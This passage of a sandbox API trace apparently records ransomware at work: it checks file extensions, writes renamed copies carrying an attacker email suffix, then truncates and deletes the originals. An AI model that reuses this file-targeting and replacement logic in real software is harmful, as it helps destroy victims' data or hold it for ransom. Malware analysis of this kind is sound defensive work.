(lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0081.548] lstrlenW (lpString=".doc") returned 4 [0081.548] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0081.548] lstrlenW (lpString=".docx") returned 5 [0081.548] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0081.548] lstrlenW (lpString=".pdf") returned 4 [0081.548] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0081.548] lstrlenW (lpString=".xls") returned 4 [0081.549] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0081.549] lstrlenW (lpString=".xlsx") returned 5 [0081.549] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0081.549] lstrlenW (lpString=".ppt") returned 4 [0081.549] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0081.549] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0081.549] lstrlenW (lpString=".zip") returned 4 [0081.549] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0081.549] lstrlenW (lpString=".rar") returned 4 [0081.549] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0081.549] lstrlenW (lpString=".bz2") returned 4 [0081.549] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0081.550] lstrlenW (lpString=".7z") returned 3 [0081.550] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0081.550] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0081.550] lstrlenW (lpString=".dbf") returned 4 [0081.550] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0081.550] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0081.550] lstrlenW (lpString=".1cd") returned 4 [0081.550] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0081.550] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0081.550] lstrlenW (lpString=".jpg") returned 4 [0081.550] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0081.550] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0081.550] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0081.550] lstrlenW (lpString=".doc") returned 4 [0081.550] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0081.550] lstrlenW (lpString=".docx") returned 5 [0081.550] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0081.550] lstrlenW (lpString=".pdf") returned 4 [0081.550] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0081.550] lstrlenW (lpString=".xls") returned 4 [0081.550] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0081.550] lstrlenW (lpString=".xlsx") returned 5 [0081.550] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0081.550] lstrlenW (lpString=".ppt") returned 4 [0081.550] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0081.550] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0081.550] lstrlenW (lpString=".zip") returned 4 [0081.550] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0081.550] lstrlenW (lpString=".rar") returned 4 [0081.550] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0081.550] lstrlenW (lpString=".bz2") returned 4 [0081.550] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0081.551] lstrlenW (lpString=".7z") returned 3 [0081.551] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0081.551] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0081.551] lstrlenW (lpString=".dbf") returned 4 [0081.551] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0081.551] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0081.551] lstrlenW (lpString=".1cd") returned 4 [0081.551] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0081.551] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0081.551] lstrlenW (lpString=".jpg") returned 4 [0081.551] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0081.551] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0081.551] lstrlenW (lpString="eula.rtf") returned 8 [0081.551] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0081.551] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=3314) returned 1 [0081.551] CloseHandle (hObject=0x2ec) returned 1 [0081.552] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0081.552] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0081.552] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0081.552] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0081.552] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0081.552] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0081.593] GetLastError () returned 0x0 [0081.593] ReadFile (in: hFile=0x2ec, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0xcf2, lpOverlapped=0x0) returned 1 [0081.595] WriteFile (in: hFile=0x2e8, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xd00, lpOverlapped=0x0) returned 1 [0081.597] ReadFile (in: hFile=0x2ec, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0081.597] WriteFile (in: hFile=0x2e8, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xe4, lpOverlapped=0x0) returned 1 [0081.597] SetEndOfFile (hFile=0x2e8) returned 1 [0081.597] CloseHandle (hObject=0x2e8) returned 1 [0081.603] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0081.603] SetEndOfFile (hFile=0x2ec) returned 1 [0081.604] CloseHandle (hObject=0x2ec) returned 1 [0081.604] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0081.605] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1 [0081.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0081.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0081.605] lstrlenW (lpString=".doc") returned 4 [0081.605] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0081.605] lstrlenW (lpString=".docx") returned 5 [0081.605] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0081.606] lstrlenW (lpString=".pdf") returned 4 [0081.606] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0081.606] lstrlenW (lpString=".xls") returned 4 [0081.606] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0081.606] lstrlenW (lpString=".xlsx") returned 5 [0081.606] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0081.606] lstrlenW (lpString=".ppt") returned 4 [0081.606] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0081.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0081.606] lstrlenW (lpString=".zip") returned 4 [0081.606] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0081.606] lstrlenW (lpString=".rar") returned 4 [0081.606] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0081.606] lstrlenW (lpString=".bz2") returned 4 [0081.606] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0081.606] lstrlenW (lpString=".7z") returned 3 [0081.606] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0081.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0081.606] lstrlenW (lpString=".dbf") returned 4 [0081.606] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0081.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0081.606] lstrlenW (lpString=".1cd") returned 4 [0081.606] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0081.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0081.607] lstrlenW (lpString=".jpg") returned 4 [0081.607] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0081.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0081.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0081.607] lstrlenW (lpString=".doc") returned 4 [0081.607] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0081.607] lstrlenW (lpString=".docx") returned 5 [0081.607] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0081.607] lstrlenW (lpString=".pdf") returned 4 [0081.607] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0081.607] lstrlenW (lpString=".xls") returned 4 [0081.610] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0081.610] lstrlenW (lpString=".xlsx") returned 5 [0081.610] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0081.610] lstrlenW (lpString=".ppt") returned 4 [0081.610] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0081.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0081.610] lstrlenW (lpString=".zip") returned 4 [0081.610] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0081.610] lstrlenW (lpString=".rar") returned 4 [0081.610] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0081.610] lstrlenW (lpString=".bz2") returned 4 [0081.610] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0081.611] lstrlenW (lpString=".7z") returned 3 [0081.611] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0081.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0081.611] lstrlenW (lpString=".dbf") returned 4 [0081.611] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0081.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0081.611] lstrlenW (lpString=".1cd") returned 4 [0081.611] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0081.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0081.611] lstrlenW (lpString=".jpg") returned 4 [0081.611] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0081.611] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0081.611] lstrlenW (lpString="LocalizedData.xml") returned 17 [0081.612] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0081.612] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=77748) returned 1 [0081.612] CloseHandle (hObject=0x2ec) returned 1 [0081.612] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0081.612] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0081.612] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0081.612] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0081.612] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0081.613] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0081.613] GetLastError () returned 0x0 [0081.613] ReadFile (in: hFile=0x2ec, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x12fb4, lpOverlapped=0x0) returned 1 [0081.648] WriteFile (in: hFile=0x2e8, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x12fc0, lpOverlapped=0x0) returned 1 [0081.650] ReadFile (in: hFile=0x2ec, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0081.650] WriteFile (in: hFile=0x2e8, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xf6, lpOverlapped=0x0) returned 1 [0081.650] SetEndOfFile (hFile=0x2e8) returned 1 [0081.651] CloseHandle (hObject=0x2e8) returned 1 [0082.269] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0082.269] SetEndOfFile (hFile=0x2ec) returned 1 [0082.271] CloseHandle (hObject=0x2ec) returned 1 [0082.271] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0082.271] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1 [0082.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0082.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0082.272] lstrlenW (lpString=".doc") returned 4 [0082.272] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.272] lstrlenW (lpString=".docx") returned 5 [0082.272] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0082.272] lstrlenW (lpString=".pdf") returned 4 [0082.272] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.272] lstrlenW (lpString=".xls") returned 4 [0082.272] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.272] lstrlenW (lpString=".xlsx") returned 5 [0082.272] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0082.272] lstrlenW (lpString=".ppt") returned 4 [0082.272] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0082.272] lstrlenW (lpString=".zip") returned 4 [0082.272] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.272] lstrlenW (lpString=".rar") returned 4 [0082.272] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.272] lstrlenW (lpString=".bz2") returned 4 [0082.272] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.273] lstrlenW (lpString=".7z") returned 3 [0082.273] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0082.273] lstrlenW (lpString=".dbf") returned 4 [0082.273] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0082.273] lstrlenW (lpString=".1cd") returned 4 [0082.273] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0082.273] lstrlenW (lpString=".jpg") returned 4 [0082.273] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0082.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0082.273] lstrlenW (lpString=".doc") returned 4 [0082.273] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.273] lstrlenW (lpString=".docx") returned 5 [0082.273] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0082.273] lstrlenW (lpString=".pdf") returned 4 [0082.273] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.273] lstrlenW (lpString=".xls") returned 4 [0082.273] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.273] lstrlenW (lpString=".xlsx") returned 5 [0082.273] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0082.273] lstrlenW (lpString=".ppt") returned 4 [0082.273] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0082.273] lstrlenW (lpString=".zip") returned 4 [0082.273] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.273] lstrlenW (lpString=".rar") returned 4 [0082.273] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.273] lstrlenW (lpString=".bz2") returned 4 [0082.273] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.273] lstrlenW (lpString=".7z") returned 3 [0082.274] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0082.274] lstrlenW (lpString=".dbf") returned 4 [0082.274] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0082.274] lstrlenW (lpString=".1cd") returned 4 [0082.274] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0082.274] lstrlenW (lpString=".jpg") returned 4 [0082.274] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.274] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0082.274] lstrlenW (lpString="eula.rtf") returned 8 [0082.274] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0082.275] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=8876) returned 1 [0082.275] CloseHandle (hObject=0x2ec) returned 1 [0082.275] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0082.275] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0082.275] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0082.275] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0082.275] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0082.275] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0082.277] GetLastError () returned 0x0 [0082.277] ReadFile (in: hFile=0x2ec, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x22ac, lpOverlapped=0x0) returned 1 [0082.282] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x22b0, lpOverlapped=0x0) returned 1 [0082.283] ReadFile (in: hFile=0x2ec, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0082.284] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xe4, lpOverlapped=0x0) returned 1 [0082.284] SetEndOfFile (hFile=0x2d0) returned 1 [0082.284] CloseHandle (hObject=0x2d0) returned 1 [0082.286] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0082.286] SetEndOfFile (hFile=0x2ec) returned 1 [0082.287] CloseHandle (hObject=0x2ec) returned 1 [0082.287] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0082.287] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1 [0082.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0082.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0082.288] lstrlenW (lpString=".doc") returned 4 [0082.288] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0082.288] lstrlenW (lpString=".docx") returned 5 [0082.288] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0082.288] lstrlenW (lpString=".pdf") returned 4 [0082.288] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0082.288] lstrlenW (lpString=".xls") returned 4 [0082.288] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0082.288] lstrlenW (lpString=".xlsx") returned 5 [0082.288] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0082.288] lstrlenW (lpString=".ppt") returned 4 [0082.288] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0082.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0082.288] lstrlenW (lpString=".zip") returned 4 [0082.288] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0082.288] lstrlenW (lpString=".rar") returned 4 [0082.288] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0082.288] lstrlenW (lpString=".bz2") returned 4 [0082.288] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0082.288] lstrlenW (lpString=".7z") returned 3 [0082.288] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0082.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0082.289] lstrlenW (lpString=".dbf") returned 4 [0082.289] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0082.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0082.289] lstrlenW (lpString=".1cd") returned 4 [0082.289] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0082.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0082.289] lstrlenW (lpString=".jpg") returned 4 [0082.289] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0082.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0082.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0082.289] lstrlenW (lpString=".doc") returned 4 [0082.289] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0082.289] lstrlenW (lpString=".docx") returned 5 [0082.289] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0082.289] lstrlenW (lpString=".pdf") returned 4 [0082.289] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0082.289] lstrlenW (lpString=".xls") returned 4 [0082.289] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0082.289] lstrlenW (lpString=".xlsx") returned 5 [0082.289] lstrcmpiW (lpString1=".xlsx", 